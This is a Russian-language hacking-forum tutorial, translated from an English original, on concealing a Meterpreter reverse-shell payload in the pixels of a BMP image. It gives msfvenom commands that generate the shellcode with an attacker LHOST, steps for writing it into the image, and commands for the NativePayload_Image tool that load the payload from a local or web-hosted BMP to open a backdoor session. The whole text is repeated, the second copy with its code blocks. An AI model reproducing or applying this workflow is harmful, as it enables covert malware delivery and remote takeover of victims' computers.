Привет привет codeby, сегодня я расскажу вам про то как спрятать payload в картинке. Меня кстати Ghost Pants зовут.
Данная статья является переводом с изменением данной статьи
Приступаем:
Это картинка, обычная совсем не подозрительная картинка.
А если приблизить? Мы видим наш пейлоад который размещён за пикселями картинки.
Для начало я хочу сказать о том как сделать это вручную без кода. Автор оригинальной статьи запостил свой код по этой ссылке DamonMohammadbagher/NativePayload_Image
Код за пикселями:
Итак, у нас есть данные RGB пейлоады 112,255,10,192,34,84,111,0,190
Наши пейлоады заражены данным Meterpeter'ом 70FF0AC022546F00BE, как видно на картинке ниже у нас есть цвет и Hex code для каждой части пейлоада
Теперь вы знаете как и где можно поменять BMP файлы для создания инъекции.
Дальше мы рассмотрим как заразить BMP файл шаг за шагом:
Шаг1*урок информатики в начальной школе*: для начала мы создадим BMP файл в windows с помощью самого обычного пеинта
Примечание: данные шаги нужно выполнять ТОЛЬКО в Windows средствами MS Paint
Создаём пустой BMP файл с разрешением 700x2 пикселей
Сохраняем файл в 24-bit bitmap формате цветов.
Шаг2*Кааали*: в Kali linux нам нужно создать пейлоад которым мы будем инфицировать картинку
Вот команды:
Шаг3*Понеслась*: теперь мы будем заносить наш пейлоад созданный в пункте 2 в BMP файл созданный в пункте 1, делать это можно используя hexeditor в Kali или же "Hexeditor NEO" в винде.
На 5-ой по счёту картинке (она снова снизу) мы видим Hexeditor NEO с открытым BMP файлом
А на следующей картинке видно что у нас есть 3 пикселя с пейлоадами “70FF0A" "C02254" "6F00BE”
Сейчас вы увидите что происходит с BMP файлом когда мы меняем изображение
Чтобы это сделать, нужно отредактировать наш BMP (из первого шага) в Kali с hexeditor как мы делали ранее. Сейчас нужно закачать пейлоад в файл с помощью хекса, просто копипасти из офсета 36 от начала до конца. Офсет 36 это первый байт после BMP заголовка (заголовок это 54 байта).
На данной картинке заголовок выделен зелёным.
Примечание: перед тем как менять BM{ мы должны сменить формат пейлоада из “0xfc” в “fc”, пейлоад должен выглядеть примерно так: "+repavtorustaty.txt" и вставить его в битмап файл из офсета 36, процесс показан на картинках которые как всегда ниже.
Как видно на картине пейлоад начинается с “FC48” на картинке сверху и заканчивается на “FFD5” как на картинке снизу
Теперь сохраняем.
После данных манипуляций мы получим что-то похожее на это:
Мы видим битмап с большим количеством пикселей.
Теперь вопрос, как много пикселей нам нужно для создания пейлоада, если у нас 510 байтный пейлоад нам нужно 170 пиксель под пейлоады
это формула по которой мы вычисляем количество нужных пикселей
После создания этого BMP файла нам нужно немножко кода для чтения пейлоадов из BMP файла.
Автор оригинала сделал код в C# для этой цели, код выполняется и записывает пейлоад в память создаваю шото похожее на бекдор.
С данным инструментом также можно сделать новый битмап файл или модифицировать уже существующий BMP и инжектить наш пейлоад.
Запускаем пейлоад из BMP файла с помощью "NativePayload_Image.exe" шаг за шагом:
Шаг1*я обленился*:если вы хотите увидеть NativePayload_Image синтаксис, мы должны запустить данный код без всяких переключений
С этим кодом вы сможете очень просто запустить сеанс для локальных BMP файлов.
Для бекдор мода с этим инструментом нужна эта строчка:
Как видно на картинке мы смогли запустить сессию из локальных BMP файлов и “NewBitmaImge.bmp” это наш BMP.
Окей, мы рассмотрели как вручную создать битмап файлы с пейлоадом и также мы смогли запустить пейлоады из этих битмапов.
Данном случае бекдор и бмп файл должны быть в одной и той же директории , но мы можем использовать путь к бмп файлу.
Шаг2*scra pa pa*: создаём новый битмап файл с пейлоадом используя инструмент. В данном случае нам нужно создать пейлоад одной из этих команд:
Примечание: нам нужно заменить 0xfc , 0x48 , 0x83 “ на “fc,48,83, ...”
Теперь, как на картинке ниже мы должны создать новый битмап файл.
Теперь корректируем синтаксис
Шаг3*BMP*: модифицируем BMP файл для загрузки в него пейлоада.
В данном случае нам нужен пейлоад и ещё один бмп файл для добавления в него пейлоада
Теперь используем модификацию синтаксиса
Длина BMP заголовка всегда ровна 54
Как видно на картинке после модфикации этого файла мы видим что пиксели нашего метерпетера под чёрным фоном видны только при зуме в 300%. Теперь смотрим на картинку ниже, это модифицированный BMP файл и он хорошо работает.
Теперь мы будем использовать наш бип файл на вебсайт для скачивания через HTTP, окей, в данном случае мы будем юзать “MyBMP_to_Modify.bmp” и я буду использовать этот файл в веб сервере на кали с помощь питона
и наконец я получусессию на url как на следующей картинке. Для скачивания BMP используем следующий код
Вот и всё. Удачи тебе %username%
Данная статья является переводом с изменением данной статьи
Ссылка скрыта от гостей
Приступаем:
Это картинка, обычная совсем не подозрительная картинка.
А если приблизить? Мы видим наш пейлоад который размещён за пикселями картинки.
Для начало я хочу сказать о том как сделать это вручную без кода. Автор оригинальной статьи запостил свой код по этой ссылке DamonMohammadbagher/NativePayload_Image
Код за пикселями:
Код:
Pixel 1 = R(112) , G(255) , B(10)
Pixel 2 = R(192) , G(34) , B(84)
Pixel 3 = R(111) , G(0) , B(190)
Код:
Decimal == hex 112 == 70 255 == ff 10 == 0A 192 == C0 34 == 22 84 == 54 111 == 6F 0 == 00 190 == BE
Теперь вы знаете как и где можно поменять BMP файлы для создания инъекции.
Дальше мы рассмотрим как заразить BMP файл шаг за шагом:
Шаг1*урок информатики в начальной школе*: для начала мы создадим BMP файл в windows с помощью самого обычного пеинта
Примечание: данные шаги нужно выполнять ТОЛЬКО в Windows средствами MS Paint
Создаём пустой BMP файл с разрешением 700x2 пикселей
Сохраняем файл в 24-bit bitmap формате цветов.
Шаг2*Кааали*: в Kali linux нам нужно создать пейлоад которым мы будем инфицировать картинку
Вот команды:
Код:
msfvenom -a x86_64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 -f c > payload.txt
msfvenom -a x86_64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 -f num > payload.txt
На 5-ой по счёту картинке (она снова снизу) мы видим Hexeditor NEO с открытым BMP файлом
А на следующей картинке видно что у нас есть 3 пикселя с пейлоадами “70FF0A" "C02254" "6F00BE”
Сейчас вы увидите что происходит с BMP файлом когда мы меняем изображение
Чтобы это сделать, нужно отредактировать наш BMP (из первого шага) в Kali с hexeditor как мы делали ранее. Сейчас нужно закачать пейлоад в файл с помощью хекса, просто копипасти из офсета 36 от начала до конца. Офсет 36 это первый байт после BMP заголовка (заголовок это 54 байта).
На данной картинке заголовок выделен зелёным.
Примечание: перед тем как менять BM{ мы должны сменить формат пейлоада из “0xfc” в “fc”, пейлоад должен выглядеть примерно так: "+repavtorustaty.txt" и вставить его в битмап файл из офсета 36, процесс показан на картинках которые как всегда ниже.
Как видно на картине пейлоад начинается с “FC48” на картинке сверху и заканчивается на “FFD5” как на картинке снизу
Теперь сохраняем.
После данных манипуляций мы получим что-то похожее на это:
Мы видим битмап с большим количеством пикселей.
Теперь вопрос, как много пикселей нам нужно для создания пейлоада, если у нас 510 байтный пейлоад нам нужно 170 пиксель под пейлоады
Код:
510 Bytes payload , 3 is 1 byte for each : R + G + B ==> 1+1+1
510 / 3 = 170 Pixels
После создания этого BMP файла нам нужно немножко кода для чтения пейлоадов из BMP файла.
Автор оригинала сделал код в C# для этой цели, код выполняется и записывает пейлоад в память создаваю шото похожее на бекдор.
С данным инструментом также можно сделать новый битмап файл или модифицировать уже существующий BMP и инжектить наш пейлоад.
Запускаем пейлоад из BMP файла с помощью "NativePayload_Image.exe" шаг за шагом:
Шаг1*я обленился*:если вы хотите увидеть NativePayload_Image синтаксис, мы должны запустить данный код без всяких переключений
С этим кодом вы сможете очень просто запустить сеанс для локальных BMP файлов.
Для бекдор мода с этим инструментом нужна эта строчка:
Код:
Syntax : NativePayload_Image.exe bitmap “filename.bmp” [Meterpreter_payload_Length] [Header_Length]
Syntax : NativePayload_Image.exe bitmap “filename.bmp” 510 54
Как видно на картинке мы смогли запустить сессию из локальных BMP файлов и “NewBitmaImge.bmp” это наш BMP.
Окей, мы рассмотрели как вручную создать битмап файлы с пейлоадом и также мы смогли запустить пейлоады из этих битмапов.
Данном случае бекдор и бмп файл должны быть в одной и той же директории , но мы можем использовать путь к бмп файлу.
Шаг2*scra pa pa*: создаём новый битмап файл с пейлоадом используя инструмент. В данном случае нам нужно создать пейлоад одной из этих команд:
Код:
msfvenom -a x86_64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 -f c > payload.txt
msfvenom -a x86_64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 -f num > payload.txt
Теперь, как на картинке ниже мы должны создать новый битмап файл.
Теперь корректируем синтаксис
Код:
Syntax : NativePayload_Image.exe create “Newfilename.bmp” [Meterpreter_payload]
Syntax : NativePayload_Image.exe create “Newfilename.bmp” fc,48,83,....
В данном случае нам нужен пейлоад и ещё один бмп файл для добавления в него пейлоада
Теперь используем модификацию синтаксиса
Код:
Syntax : NativePayload_Image.exe modify “Existfilename.bmp” [header_length] [Meterpreter_payload]
Syntax : NativePayload_Image.exe modify “Existfilename.bmp” 54 fc,48,83,....
Как видно на картинке после модфикации этого файла мы видим что пиксели нашего метерпетера под чёрным фоном видны только при зуме в 300%. Теперь смотрим на картинку ниже, это модифицированный BMP файл и он хорошо работает.
Теперь мы будем использовать наш бип файл на вебсайт для скачивания через HTTP, окей, в данном случае мы будем юзать “MyBMP_to_Modify.bmp” и я буду использовать этот файл в веб сервере на кали с помощь питона
Код:
python -m SimpleHTTPServer
Код:
Syntax : NativePayload_Image.exe url “Url” [Meterpreter_payload_Length] [Header_Length]
Syntax : NativePayload_Image.exe url "https://192.168.59.2:8000/MyBMP_to_Modify.bmp" 510 54
Вот и всё. Удачи тебе %username%